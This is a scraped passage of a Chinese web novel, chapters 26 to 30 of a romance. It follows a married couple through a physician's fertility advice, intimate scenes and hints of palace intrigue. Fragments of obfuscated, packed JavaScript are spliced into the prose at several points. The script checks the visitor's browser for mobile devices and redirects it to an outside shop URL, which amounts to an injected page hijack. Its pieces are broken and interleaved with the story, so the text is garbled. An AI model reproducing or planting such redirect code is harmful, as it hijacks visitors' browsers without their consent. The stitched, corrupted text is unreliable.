l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177220|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务,喝茶看账,然后见了各房管事。 时间眨眼便到了午时,她将午后请了郎中一事与王氏提了。 王氏急忙忙让她赶紧回自己院子,午饭后也不用过来陪她了。 回到自己院子里时间尚早,许恪还没回来。 许清妙干脆坐在院子的秋千上等着许恪回来,她两脚离地晃来晃去,身后的发带也随风飘荡,越玩越得趣。 许恪迎着阳光踏进院子,见到的就是树荫下,许清妙一脸轻松惬意荡秋千,催促着鹊枝再推高点,等到秋千荡到高处时,又发出细细的尖叫声,然后便是如银铃般欢快的笑声。 许恪默默看了会,走近,无声地换下了鹊枝,长身玉立般站在她身后一下一下推着她荡起来。 许清妙是在回头说笑时,才发现鹊枝早不见了踪影,眼里只剩下刚从宫中回来的许恪。 一身墨色常服,头戴玉冠,像一位寻常的教书先生般低调素雅,她知他今日是去给太子讲学,没有穿官袍,如今也就只有偶尔去翰林院办公,他才会换上官服。 “哥哥,你回来了呀,怎么不出声呢?” 许清妙扭头欣喜地看着他,秋千停下来了也不甚在意。 许恪温声道:“见你玩的开心不忍打搅。” 许清妙拉着他一起坐下,许恪略有些抗拒,但还是顺着她的意思坐在了她身侧。 “哥哥,我平时不怎么玩这个的。” 她急忙解释,她从前没有喜欢过什么人,不知哥哥是不是也像书里说的一样喜欢窈窕淑女,那她这般活泼怕是不讨喜了。 许恪低头看着她,一眼便看穿她心里所想,摇了摇头认真道:“三娘不必顾及我喜欢什么,按着自己喜好就是最好的,老爷子总说道法自然,其实对于我们也一样,顺从本心,从善如流,不必拘束了天性,你刚刚的笑声笑容就很让人喜欢。” 许清妙没想到许恪会这般认真的解释,不由撒娇地将额头靠在他的肩膀处蹭了蹭,埋头吃吃的笑道:“哥哥,我真是捡到宝了。” 谁不想做自己呢? 许恪眼神深邃地看着她,这话该他说才是。 赏心悦目的俩人靠坐在秋千上说话,直到鹊枝前来提醒可以用膳了,许清妙才美滋滋地拉着许恪往饭厅走去。 等到用了午膳,俩人喝过茶,端坐在前院正堂里等着郎中过来。 “这位千金圣手是城里最有名的郎中,一会有什么不舒服的都跟他说,别不好意思不敢提。” 许恪在一旁提醒她,在他心里身体康健最重要,男女之防不该成为桎梏。 许清妙抬眼看向长兄,乖巧颔首,“哥哥放心,我懂得轻重。” 她的长兄一向如此,是外人眼中克己复礼的状元郎,更是家里人眼中想法与思想独树一帜的读书人,他对人对事都有自己的理解和看法,轻易不会受他人支配左右。 譬如,世人眼里的读书人需要斯文优雅,不屑于满头大汗的练武练剑,他却坚持强身健体、拥有自保的能力,轻易不受外人眼光干扰。 26. 第 26 章 林大夫是一位鬓角霜白的中年人,脸黑话少,一只手搭在许清妙的手腕上把脉,眼睛看向别处。 屋里安静得能清晰听见窗外的声声蝉鸣,许清妙抵住困意,打起精神等候他的诊断。 沉思良久,林大夫才用古井无波的声音道:“宫寒体虚,难以受孕,以前看过郎中吗?” 许清妙望了眼许恪,微微颔首:“看过的。” 林大夫也看了眼许恪,略顿,问许清妙:“夫人可需要回避说话?” “啊?” 她一时没想明白为何要回避说话,难道病情很严重了? 许清妙迷糊地将目光投向了许恪,许恪眸光一闪,了然林大夫话里深意。 他朝许清妙投去一个安抚的眼神,转头对林大夫淡然说道:“不用回避,林大夫大可直说,她的情况我早就清楚。” 许清妙抿了抿唇,哥哥在诓人,如今连大夫都敢诓。 林大夫似乎见怪不怪,见她迟迟不吭声,也就不再犹豫,直言道:“夫人寒气入体已久,宫寒之症有些年月,要想尽快有孕不太可能,但悉心调理后,是能痊愈的。” 许恪颔首恭敬道:“不知林大夫可有好法子?” 林大夫收回了把脉的手和垫枕,慢悠悠道:“法子倒是有的,只是此法需遵守的事项繁杂,你们能一一照做吗?如果不能倒不如不用,免得没有疗效还砸了我的招牌。” 许清妙错愕地看向这个一本正经的医者,没想到他说话这么直接,不听医嘱就不治。 林大夫并不在意许清妙的眼神,只淡定地收拾随诊的医箱。 许恪连忙起身,双手交叉行了一礼,诚挚地说道:“还请林大夫明说需遵守的事项,我们诚心求医自当遵守。” 林大夫听了颔首,却没马上答应,只是看向许清妙,等着她表态。 许清妙略一想便知道这大概是林大夫的“怪规矩”。 据说大雍民间流传过一些关于名医的传闻,据说他们医术高超,但想得到他们的医治,总是会有这样那样的一些古怪规矩,只有遵守了他们的规矩才会被收治。 “我们定当遵守,还请林大夫医治。” 许清妙给了承诺,林大夫才坐好,开始面无表情地说话:“治病救人本就是需要大夫和病人双向配合,如果病人自己不配合,我就算是神仙在世,那也是治不好的,所以丑话说在前头,还请两位见谅。” 俩人不敢有异,纷纷颔首。 “需要你们配合的事情就俩件,第一按时服药,内服外敷泡澡都得按时按量进行;其次,治病期间房事有规律进行,阴阳调和见效最快,每三日一次即可,不可贪多也不可没有。” 前面的话,许清妙都认真听着,等到听清最后的话,她尴尬地抠手指。 她低着头不吭声,许恪脸上平静地颔首:“定当遵守。” 林大夫突然生硬地扯出一个冷笑:“夫妻敦伦人之常情,不用害臊,等下我把方子写下来,你们按方抓药,内服药和外敷药包分别放置,具体的使用方法我也写清楚在纸上,你们自己照着做。三个月后,我再来复诊,如果没有按要求做,下次复诊我就不治了。” 这脾气不可谓不臭呀! 目送林大夫走远,许清妙趴在椅子上深深地舒了一口气:“这林大夫可真硬气呀,都不怕哥哥的官职吗?” 许恪不以为意地笑了笑:“有本事的人有点脾气很正常,名医更是如此,别说哥哥这个芝麻大点的京官,就是太后娘娘要治病也得捧着他们,生死面前无人能侥幸。” 许清妙起身坐好,看着桌子上的药方,三张草纸写的满满当当,字迹清楚,服药步骤详略得当,确实是一位很周全的大夫。 只是不由想起那最后一项事情,她就觉得局促,偷偷看了眼许恪的神情,丝毫不见异样。 “我去将药方再誊抄一份,再让随安去抓药,三娘先回房午休?” 许恪自然看得出许清妙的不自在,但有些话不适合现在说,他打算晚上与她详谈。 许清妙自然求之不得,喊了鹊枝进来,伺候着她进了内室休息去了。 许恪拿着药方走了,他并没有直接叫随安去抓药,而是另外誊抄了一份带在身上进了宫。 等到给太子讲课结束,他特意留出来半个时辰,匆匆往太医院去了。 太医院的医正里有一位精通妇科的圣手李医正,只是他供职太医院,无诏很难给外面的人瞧病。 许恪能知道李医正,还是因为他在书房见到了这位医正亲写的药方,但这药方只是治疗普通的风寒之症。 这很奇怪,但既然这三年的他留着了,那说明他对这位李医正还是信任的。 太医院到了下值时分,并不忙碌,他匆匆赶到,倒没有跑空。 李医正今日正当值。 许恪并没有进去,而是让人将李医正叫了出来,俩人在院子外的树荫下说话。 李医正见是他,皱紧了眉头,喃喃道:“你怎么找到这里来了?可是有什么人病了?” 语气关心,神情却有些紧张。 许恪觉得奇怪,却说不出所以然,只将药方拿了出来:“还请医正瞧瞧,这方子可是治宫寒的?” 许恪看过很多史书典籍,医书看的也不少,但并不精通,这样的名医开的方子,他不敢擅自肯定与否。 李医正松了口气,接过来快速看了一遍,边看边点头:“好方子,开这方子的人医术高深,你可以放心用。” 得了他的肯定,许恪心里有了底,知道自己是多担心了,但事关许清妙,他不觉得多此一举。 “多谢医正帮忙。” 李医正脸上皱纹深如田间沟壑,皱着张脸问他:“这是给你夫人用的?” 许恪颔首,也不隐瞒:“是的,以后我们想有个孩子。” 李医正浑浊的眼睛看了他片刻,颤巍巍拿过他手里药方单子,指着药方说道:“那这里面的这味桃仁换成芍药花,这桃仁恐会令人不适。” 许恪谨慎应下,他知道这药方的君药用的桂枝、吴茱萸,辅 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她坐起身来擦了擦汗,身上穿着轻薄的白色中衣,长衣长裤,好热。 床前的架子上摆着一盆清水,她站起身去洗了脸,凉水洗过人也清醒不少。 拉了拉衣袖,她眼睛瞥向另一个架子,那上面挂着各式夏衣,有清爽的褙子,有低领无袖的短衣,都很凉快。 可是,她从没穿过,或者说三年前没嫁人时她从没穿过。 她坐在一旁的凳子上,捂着脸一会看看短衣一会看看窗外。 这三年里的她,变化太大,各式各样的饰品,衣裙,最大的变化还是她整个人都大胆又自信了。 咬了咬牙,她拉响了铃铛,鹊枝闻声进来,“小姐,是要换衣服吗?” “嗯!找套凉快点的给我换上,刚刚热醒了。” 她特意强调热,鹊枝果然拿了衣架上那套短衣短裤过来。 “鹊枝,这套会不会太短了?” 鹊枝惊讶道:“小姐,你不是最喜欢这套夏衣吗?在自己院子里穿没关系的,出门再换裙子就成,而且这套衣裳是你自己打的样式,让我照着做的呀。” 许清妙无语扶额,竟然是她自己让做的? 那就试试吧! 她换上轻便的短衣短裤,短衣没有长长的袖子,裤子也只堪堪盖住膝盖,脚下的鞋袜是轻纱薄款,再踩上一双丝质镂空绣鞋,整个人过分凉爽舒服了。 突然就想感谢曾经的自己。 她笑意盈盈地坐在屋子里喝了碗银耳莲子羹,笑容还没来得及收拾,许恪就从门外进来了。 许清妙想都没想,一溜烟的扎进了拔步床里,将厚厚的床幔给扯了下去。 挡住了,许恪看过来的目光。 “我穿太少了,哥哥你别看。” 鹊枝见许恪进屋,默默地拿起托盘往外走了,顺便关上了房门。 她就不信,翰林见了小姐这般样子还能忍得住。 27. 第 27 章 夜色深深,小院伙房灶台上正烧着一大锅热水,水汽蒸腾。 “不用添炭了,水温着就成。” “怜丫头,你鹊枝姐姐让你来的?这都好久没让备这么多热水了,今儿少夫人屋里头又有动静了?” 烧水的婆子是个话多的,不敢在鹊枝面前瞎打听,就拉着跑腿的怜丫头磨牙。 炉子里的炭火通红,俩人坐回窗边风口上乘凉。 “朱婶子,你可别拿主子屋里事嚼舌,仔细也被赶到园子里去养猪。” 怜星本是云田老宅的下等小丫头,如今被少夫人赏识带到了京里,不仅给她取了好听的名字,还让她在鹊枝手下做了二等丫头,这份恩情她是铭记在心的,自然见不得有嘴碎的下人编排主子。 朱婆子缩了缩脖子,不敢再过嘴瘾,主子的事的确不是她能说三道四的。 俩人闭嘴不再说话,守着炉子渐渐打起瞌睡,却不敢真睡,半分清醒地等着主子叫水。 幽月下的院子里空无一人,只见那正屋的窗户透出点点光亮,一道修长清俊的身影映在窗上。 许恪捧水洗了脸,如刀削的鬓角上沾着点点湿意,一双黑沉沉的眸子看向床榻,许清妙两只月白的胳膊正抱着他的枕头睡得香甜。 女郎额间碎发被汗打湿,黑色贴着雪白,卷翘的眼睫上似是还隐着泪花,一张粉唇瓣微微肿起。 似海棠半含朝雨。 不想身下再次传来意动,许恪克制地收回目光,却难以抑制地回想起自己刚才的失控。 彼时,许清妙躲在床幔后不愿出来,许恪担心她中暑,刻意说话转移她的注意力。 “我让随安抓了药回来,你可想好了几时服药?”许恪撩袍坐在床前矮踏上,隔着一层床幔轻轻说着。 床幔后的人正捂着丝帕蒙在脸上,闻言,撩起帕子侧头看向他。 “饭后即可,哥哥可备了霜糖?” 许恪温声道:“自然备好了,你要不要出来同我说话?” 许清妙迟疑片刻,缓缓伸出手牵起床幔往外瞟了一眼,见他坐在塌旁守着她。 她刚想松开手躲回去,不想被他捉住了手腕,轻轻地拉过去包裹进了掌心。 “三娘为何还这般避着我?” 许恪声音轻缓,似是有些困惑。 许清妙本想抽出手腕,又停下,反而倾身隔着床幔靠近了些。 “哥哥!我只是没穿过这样清凉的衣裳,有些不习惯。” 许恪握着她的手,低头把玩,指尖粉白,手指纤细白嫩,小小的被他一只手全部包裹住。 “那就慢慢习惯,先把床幔拉开好吗?” 许清妙轻轻地嗯了一声,身前的床幔便被缓缓拉开,许恪一只手握着她,一只手拉着床幔,仰头望着她。 “哥哥起来吧,不用坐踏上。” 那脚踏惯来是给守夜的丫头坐的,他如此坐在那里,倒像是要服侍她的侍从了。 可哪有如此俊俏的侍从守在女主子床前的? 许清妙脸上发热,低头拉他起身,俩人并肩坐在了床上,粉色绣幔被撩开挂上了金钩。 窗外的余晖映出晚霞,染红了整个天空,渲染得屋子里晕红一片。 “哥哥要与我说什么呢?” 她的手仍被他握着,她便用手指戳了戳他掌心,唤他。 许恪自觉有些失神,收敛心神回道:“想问你林大夫交代的事情,你怎么想?” 许恪问的隐晦,但许清妙立马就知道他在说每三日一次房事的奇怪医嘱。 这种事情,可以不想吗? “哥哥呢?你怎么想。” 许清妙前日翻过床内侧的小匣子,里面装着几本图册,她一时好奇翻开看了看。 这一看,看得她小脸通红,连忙合上,但没过一会她又重新翻开了,因为她实在好奇。 既然想继续与长兄做夫妻,她就得好好进步。 于是,那天午休后,她躲在屋里红着脸看完了那两本册子。 原来成婚后,夫妻不仅要亲亲抱抱,还要这样那样,才算是真正的夫妻。 许恪看着她,一字一句道:“我愿与你做一世的夫妻,所以我不急。” 许清妙回望着他,“哥哥,你的意思是你也喜欢我,对吗?” 许恪闻言浅浅勾起唇角,“对,不止如此。” 许清妙闪亮亮的眼睛,惊喜的看着他,“哥哥,我很开心。” 她忘了身上的衣服,也忘了害羞,推开盖着的轻纱扑进了他怀里,两只雪白的手臂缠在他的腰间紧紧搂住。 许恪心底猛的一震,视线难以移开,他的身体甚至比他更加熟悉怀里的娇躯,手臂有自我意识般抱在了她背后,将人紧紧地锁在胸前。 许清妙闻着许恪身上清爽的气息,心安又熟悉,似是跋山涉水的旅人回到了故土。 两个原本就彼此熟悉习惯了的身体,抱在一起不可避免地起了反应。 许恪搂着她不动声色地暗暗调整呼吸,既舍不得推开她,又怕吓到她。 许清妙只觉得面红耳赤,画册里的画面都在她脑海里变成了她和哥哥的模样,实在太过羞耻了。 “那哥哥,我们会遵医嘱的,多吧?” 她开口的声音软软糯糯,依赖着他做决定。 许恪闭了闭眼睛,哑声道:“嗯,说话算数。” “那我们试试?” 许清妙不知道自己怎么说出这句话的,但话已出口,她也不反悔,反倒是有些期待。 许恪一愣,不由低头看向她,白皙的手指轻轻托起她的下颌,“现在?” 许清妙面若桃李,圆润的眼眸忽闪着,暗道糟糕,哥哥好像误以为她说的试试了。 她低垂着眼眸不吭声,似是默认。 既然哥哥想现在试试,那也不是不行。 不待她再开口,一股温热清新的气息迎面而来,她的唇瓣被他轻轻咬住了。 对,没错,是咬住了。 接着便是不同于上一次轻柔克制的亲吻,而是火热中带点酥麻的轻咬。 她不由轻呼出声:“哥…” 却被他卷走了所有声音,搂着她的手掌捧在她的后颈,修长有力的手指轻轻地捏住,控制着她。 “怕了?这么大胆让我试试,现在还要吗?” 许清妙仰着头看向许恪的眼睛,如湖水的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许恪穿着长袍,盖住了身上的痕迹,却盖不了屋子里的气味。 鹊枝身后跟着的丫头,拧了帕子想过来伺候,被他一个眼神制止,红着脸退了出去。 鹊枝只管拧了帕子去给许清妙收拾,只是刚走近床前,就被许恪打断。 “你也下去,一刻钟后进来收拾。” 鹊枝恭敬退下,什么话也没多说。 这样的情况也发生过,翰林给小姐擦洗收拾干净,可第二日,小姐就闹了,不让翰林帮忙。 后来,翰林收拾完还让她进屋收拾一趟,纯属走过场。 许恪自然不知道有这些讲究,拧了毛巾给许清妙擦洗。 这一夜,那伙房灶台上的热水用尽了,丫头婆子都知道屋里两位主子又“和好”了。 隔日,日上三竿,天光刺眼,许清妙才缓缓清醒,这一夜她睡得很沉,也很舒爽。 身边已经没了许恪的人影,她松了口气,不在才好,不然她少不得羞涩一阵。 昨儿夜里的画面冲击太大,比她看的画册吓人多了,冷清清的长兄像变了一个人似的,用最温柔的语气说出最不要脸的话。 许清妙捂着脸冷静好一会,才拉了铃唤人进屋伺候梳洗。 等到再次坐在厅里用饭时,她才觉得自己重新活过来了。 只是刚搁下筷子,屋外就传来许恪的说话声。 “夫人醒了吗?” 28. 第 28 章 屋外传来宁妈妈响亮的说话声:“翰林,少夫人在厅里用膳呢,这么热的天,特意让厨房做了易克化的红枣粳米粥。” 许恪的脚步声往厅里来,许清妙有片刻想把自己藏起来,总觉得这么青天白日的太过亮堂了。 她回想起昨夜的孟浪就不想见人。 厅里的丫头婆子都喜滋滋的,一听到许恪过来,已经撩起珠帘等着他进来了。 许清妙避无可避,只能又端起碗假装喝粥。 许恪进来后,丫头婆子们自觉的退到了门外,厅里就剩下他们俩。 眼角的尾光扫到他撩袍坐在了身旁,许清妙不能再装没看到,低着头轻声问道:“哥哥怎么这个时辰回来了?” 今日并不是官方休沐日,他应该在太子跟前讲学的。 许恪一眼看出她的不自在,“今日午后过去就行,你可有哪里不舒服的?” 昨儿夜里她哭得太厉害,自己虽然小心翼翼,却也有控制不住的时候,就怕她有不舒服却不好意思开口。 许清妙的脸颊肉眼可见的红了,连着耳后都是红艳艳的一片。 她抬眼看他,一双水润的眸子如碧溪般清澈,只瞥了他一眼就背过身子不看了。 “没有不适,哥哥快别问了,真羞人。” 许恪难得的低头笑了,却不敢发出声响,怕她更难为情。 “可有想要之物?我下值回来带给你。” 他从随安那处知道,从前的他下值后,隔三差五都会从街上给她带着小玩意,或胭脂水粉或蜻蜓发饰等。 他想还和以前一样,让她过得自在快活。 许清妙转身诧异地看着他,“我那梳妆台上各种各样的趣玩都是哥哥送的?” 许恪颔首。 她不由想起在云田时,鹊枝给她收起来的那个令人脸红的小匣子,莫非那也是他送的? 自从看过画册子,她已经知道那匣子里装的是何物了。 实在想不到哥哥这般月朗风清的俊雅人物,也会送她那些房中趣意之物。 而那时候的她肯定也是得趣的,不然怎么会将那匣子带去了云田呢。 越想越觉得臊得慌。 “哥哥,我没有什么想要的,我还有些乏力想去榻上再靠会。” 她红着脸跑了,丢下许恪一个人回了里间。 许恪失笑,只道她害羞得比昨儿夜里还厉害。 许清妙回了房,趴在软榻上,捂着火热的脸胡思乱想。 在闺中时,哥哥是她仰慕的兄长,也是闺中密友偷偷倾慕的郎君,她们偶尔会笑闹谁要是嫁给许大郎会有多幸福,那时候她也曾偷偷将兄长代入夫君的样子。 知慕少艾,却不曾想,也有梦想成真的一日。 “哎!” 她刚刚怎么这般没出息跑了。 门口传来脚步声,许恪还是不放心跟了过来,见她趴在榻上唉声叹气。 不由疑惑,可是他哪里没做好? 许恪躬身坐在了她身旁,许清妙不用回头也知道,他正看着自己。 一只白皙有力的手搭上她的肩头,将她缓缓托起,一个转身,她便落入他清爽宽阔的怀抱。 呼吸间,全是彼此的味道。 少倾,许清妙伸出手箍着他的腰身,仰头看他。 女郎媚眼如丝,郎君眼若明月,相视而笑。 “清妙,闭上眼睛。” 许恪垂目,难掩情动。 许清妙尚来不及合眼,便被他捧着亲上,轻辗慢探,唇齿纠缠。 窗外喜鹊躲进树梢,只有那调皮的知了,时不时发出间断的蝉鸣。 屋里渐渐只剩水声和呼吸声,良久。 “还害羞吗?” “嗯。” “那就是还不够。” 许清妙捂着嘴张大眼睛看着他,什么还不够? 许恪亲啄她手背,低低的声音:“我思来想去,大概还是亲的不够,做的不够,夫人才会放不开。” 许清妙连忙伸手捂住他的嘴。 眼角含春,圆圆的眼睛瞪着他。 积石如玉,列松如翠,惊才艳艳的状元郎怎么能有如此孟浪的想法。 “哥哥,不许胡说,叫婢女听见了没得笑话咱们。” 许恪搂着她,低声应承:“夫人说什么就是什么,我都听夫人的,只是别再躲着我了。” 许清妙轻轻掐了下他的腰,一晚上过去,他这夫人喊的越发的顺口了。 “哥哥,不许再逗我。” 许恪颔首,亲了亲她的鬓角,认真承诺道:“不逗你。” 俩人一番闹腾,许清妙心底那点尴尬和闪躲果真消减。 等到许恪出了门,她一人待在屋里,看向铜镜中的自己,眉目含笑,风情半露,是很快乐的模样。 . 鹊枝端着熬好的汤药进屋,许清妙已经收敛了表情,稳稳当当的坐在桌前看话本。 只是那话本明显没有翻动过,上回看到这里时,还是鹊枝给她夹好的签子。 谁又看不出,她家小姐心思根本不在话本上了呢。 “小姐,今儿起可得按时吃药了,等养好身体生个小郎君或小女郎,小姐就再也不用担心外面的人说闲话了。” 许清妙不解问道:“除了娘和祖母催生,还有人说闲话?说了什么?” 鹊枝疑惑地看着她,小声提醒:“小姐不记得了?京里有些好事的,编排小姐三年无出,怂恿翰林纳妾生子呢,后来翰林跟他们都断交了。” “可那些人忒不要脸,明明都是老少爷们的,私底下却糟乱的很,他们还传…还传翰林表面风光月霁,背地里好男风。” 许清妙猛地站了起来,砰一声丢下书中话本,狠狠道:“哥哥就任由他们背地这般诋毁?你可知晓是哪些人在背后使坏?” 鹊枝连忙拉住她,安抚道:“小姐别生气,怪我多嘴,其实这事翰林已经处置过了,为此还得罪了他的部分同僚。” 想也知道,肯定是那些人找许恪一起喝花酒、逛青楼被他给拒了,他们就排挤他污蔑他。 世间脏水总是喜欢往干净处泼呗。 只是没想到前有长公主府谣传他风流,后有同僚污蔑他好男风,这样风马牛不相及的谣言也能用在他一人身上,实在是荒唐离谱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“少夫人可以放心,其实都是些酸言醋语,无稽之谈,楼里的姑娘对翰林也从不敢真有什么妄想,不过是他的才名满京华,当年那首催妆诗更是打动无数可怜人。至于那些好男风的风言风语,少夫人更不必介怀,所有人不清楚,难道您还清楚吗?” 许清妙脸上泛粉,颔首道:“多谢俞娘解惑。” 如果是这三年里的自己,肯定不会找她问这些吧。 但现在的她,是真的想知道外面的人是怎么说的,她在意哥哥清清白白的名声。 而俞娘早就不信男情女爱,可看着成婚三年还能清澈如初的许清妙,她也难忍羡慕,甚至掺杂着不可回头的悔。 不忍再看,她先撇开了头。 许清妙被她的眼神震撼,那样一双美丽的眼睛,却饱含复杂与挣扎,看了令人心生怜惜。 “俞娘,你跟着二哥会过得很好的,他可能给不了你一心一意的宠爱,但他能让你活得更自在的。” 俞娘没再看她,只颔首道谢:“谢谢少夫人,您是我见过最可爱的人。” 29. 第 29 章 月色溶溶,暗香浮动。 许清妙泡过药澡,换上清凉的天蚕丝小衫,搭配一条丝绸薄裤,正披散着黑发站在窗边乘凉。 屋外的栀子花不知何时悄悄开了,幽幽的清香随风吹来,屋里伺候的丫鬟都已退下,无人打搅。 许清妙看了眼同样洗漱好,正端坐在小桌旁看信的许恪,一双眼睛专注而平静,信里大概说了什么不大好的事情,好看的眉锋微微蹙起。 待他看完,修长的手指捏着那信纸凑到火烛上,点燃丢进了洗笔池里,转瞬即逝的火光映在他脸上,有一瞬的肃杀之气。 许清妙心中触动不由走近,出声问道:“哥哥,可是遇到麻烦事了?” 许恪轻轻摇头,黑眸看向她,自然地伸出手将她拉近身前,轻声回答:“不麻烦,跟我们关系不大,烧了就好。” 他不会告诉清妙,那是一封关于大皇子结党营私的弹劾信,他猜送到他手里的也只是这些弹劾信中的一封,今晚接到这封信的人肯定不止他一人。 他不准备理会,就当他从没见过。也不管他如今是不是太子侍读,他都不会主动卷入党争或者皇子的皇位之争。 许家只做纯臣。 许清妙颔首,哥哥不愿说的事情她不勉强,左右不过是公事,她知道了也帮不上忙。 她推了推他的手臂想坐在一旁的凳子上,却被他一把扶住腰侧坐在了他的膝上。 “哥...” 她靠在他怀里想挣扎,还不习惯被他像小孩子似的抱坐在怀里。 “别动,我们说会话。” 许清妙抬眼看他,光洁的下颌往下是随着说话而滚动的喉结,那里与自己是不同的模样。 她不由伸手摸了摸自己的喉咙处,又伸手摸了摸他的,心思全然不在跟他说话上,嘴上却应接道:“哥哥想说什么呢?” 许恪低头看着她作乱的手,无奈只能任她指尖拂过,似乎拂过的是他的心尖,几次后,实在忍不住抓着她的手锁在手心,克制地低声说道:“想不想去京郊观星台,这几日天气晴朗少云很适合观星。” 许清妙不由双眸锃亮,坐直了身子看向他:“想去的,但哥哥你有空吗?” 许恪略思索,含笑道:“这几日太子估计没心思听课,明日我便进宫请事假,歇个两三日应是无事。” 那些弹劾大皇子的信,连他都能猜到是太子背后的曹国舅出手了,那太子身边人自然更加清楚。 可惜太子年纪小,胆子更小,知晓了这事,恐怕又得“病一场”了。 他虽教导太子读书,却跟太子身后势力并不亲近,这也是皇帝将他安在太子身边的一个原因。 许清妙开心地捧着他脸亲了一口,亲完又羞涩地躲进他的怀里不肯看他。 许恪不由浅笑,“就这么开心呢?我也是有私心的,既想陪你游玩换取好感,又想趁机避开京里纷乱。” 许清妙额头蹭在他脖子间,毫不介意道:“哥哥说什么呢,这怎么是私心,我们夫妻一体,如今既能避开麻烦又能有时间陪我,一举两得的事情,我开心还来不及呢。” 许恪下颌抵着她的发顶蹭了蹭,搂着她低声笑:“怎么办,有些不想遵医嘱了。” 许清妙微楞,转瞬又明白过来,抬手往他肩膀捶去:“不许说。” “不说,那去就寝可好?” 许清妙低着头轻轻嗯了一声。 她抬脚想从他腿上下来,却被他阻止。 “搂紧我。” 许恪单手搂着她的腿,将她抱起来了。 不过三步的路,顷刻间,俩人便躺倒在拔步床里,床幔被他扯下,外面的烛火没有熄灭,微弱的光透过床幔照在俩人身上。 他们心里都知道,今晚甚至明晚他们都不能发生点什么,但还是抱在一起,听着彼此的呼吸与心跳。 许清妙觉得自己感觉还好,虽然想与哥哥贴更近,但就这么听着他的心跳也能睡着,可他好像不行。 明明冷清清的一个人,此时却浑身滚烫,特别是搂着她的那双手,时不时抚过她的肌肤,克制又留恋,总让她感觉下一秒他就快忍不住了,却又能稳稳地落在她的背后紧紧抱着。 她不由想起,有一年的冬至日,他因受寒发烧在家休养,王氏带着年幼的她去看望。 清冷的屋里,只见他烧得整张脸都通红,却还是倔强地靠坐在书案前,手不释卷低头看书,一旁小厮用拧干的湿毛巾时不时给他额头降温。 他的坚韧或许与生俱来,但她还是看了心生怜惜,那时候她就想帮帮他。 “哥哥,你难受吗?” 她还是明知故问,细白的手指穿插在他的指间,轻轻摩梭着他的指骨,侧脸贴着他的下颌,一下下感受他喉间滚动。 “还好,你别动,等你睡着了就好了。” 许清妙听出他的话外音,看来他前面这些日子跟她睡在一起都伪装的很好。 “可是,我还睡不着,哥哥需要我帮你吗?” 她的声音如一汪清泉流过,带给他短暂的舒解,许恪难以抗拒,“不后悔?” 许清妙摇摇头,她是看过画册的,而且昨晚跟他都那样了,夫妻间有什么后悔的呢。 许恪低垂着眼眸看着她,火热的唇凑近,亲着她耳垂,“那辛苦你了。” 许清妙起初不理解“辛苦你”这话的含义,一心只想着让他好受些。 半个时辰后,她的两只手酸的像不是自己的,他却还没好时,她才欲哭无泪的后悔了。 “好了吗?” 她埋在他胸口,颤颤巍巍地问他。 她忘了他们是成婚三年的夫妻,熟悉的身体早就习惯了彼此,她的手根本不够。 许恪低沉如水的声音响起:“快了!” 不给她机会再催,只低下头堵着她的唇亲得更加放肆,舌尖勾着彼此,你来我往,抵死纠缠。 他也失算了。 直到夜深了,星星都暗淡了,许恪才低声叫水。 许清妙喘息着望向头顶的床幔,只觉得眼花缭乱,那顶盖上的鸳鸯戏水绣图似是活了一般。 水花都溅到了她脸上。 就这么失神的呆呆望着,直到身边人拉起她的手擦拭。 她很想自己起来拿皂粉洗几遍,可真的太晚了,她浑身无力地发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只怕是有他不知道的事情发生了,而且这事还与陛下有关。 再联想到前面几次见到陛下时,陛下眼底若有若无的急迫。 许恪心下一沉,一个隐约又可怕的猜测浮现。 皇帝恐怕是病了,且病得很隐晦,除了皇亲还无人知晓。 朝中人人皆知,大雍朝现任皇帝是马背上常胜将军,征战无数,旧疾数不胜数。 旧疾复发是极有可能的事情。 许恪回去的路上,心思百转,等到答案初步清晰时,不由暗暗心惊。 父亲所担心的京城要乱,恐怕会成真,届时的陛下疾病缠身根本稳定不了局势。 要知道每一个新旧皇帝的替换,都是裹挟着血雨腥风,要想顺利过渡难之又难。 上一次的腥风血雨还是当今陛下继位时,诛杀乾德太子及其党羽于宫门前,逼得先帝不得不改立太子。 短短十八年,历史就又要轮回吗? 30. 第 30 章 天高云淡,碧空如洗。 许清妙靠坐在许恪的胸前,俩人共乘一骑白马,扬鞭策马出了东城门,一路飞奔地往观星台而去。 随行豪车奴仆皆远远辍在后头。 朝中风起云涌,小夫妻俩的动向自然无人在意。 “哥哥,风都是甜的。” 许清妙长开手臂仰着头,对着清冽的风深深的呼吸,她好似从没这般自在快活过。 她记忆中的十五年,从没有过的。 她喜欢这样肆意而自由的风。 许恪笑而不语,一手执鞭一手固定在她腰间,矫健的身姿笼罩着娇小的女郎奔向远方。 行至林野间,马速渐渐缓下。 林间鸟语花香、山明水秀,山路平坦不见崎岖,一条修整干净的车道弯弯曲曲的直通山顶。 而从山脚下往山顶望去,雾染烟岚的山林间一座丹红色的阁楼矗立其中,气势非凡。 “哥哥,那就是观星楼吗?” 许清妙纤纤素手指向那醒目的巍峨阁楼,因山势平缓,四周平坦再无其他山体阻挡视野,山顶的阁楼确实个最好的观星点。 “嗯,观星楼是前朝司天监主持建造,楼前设有祭坛,夜观星象以测风云,民间百姓跟风信仰,渐渐来这里观星祷告的人就多了起来。祷告我不知道灵不灵,但这儿的夜景是真的不错,清妙今晚可以好好看看。” 许恪也有了雅兴,搂着她驱马慢行,凑在她耳边轻轻讲解。 许清妙只觉得耳尖发热,他说话的声音似乎比山涧流水还还悦耳动听。 “嗯,与哥哥一起看。” 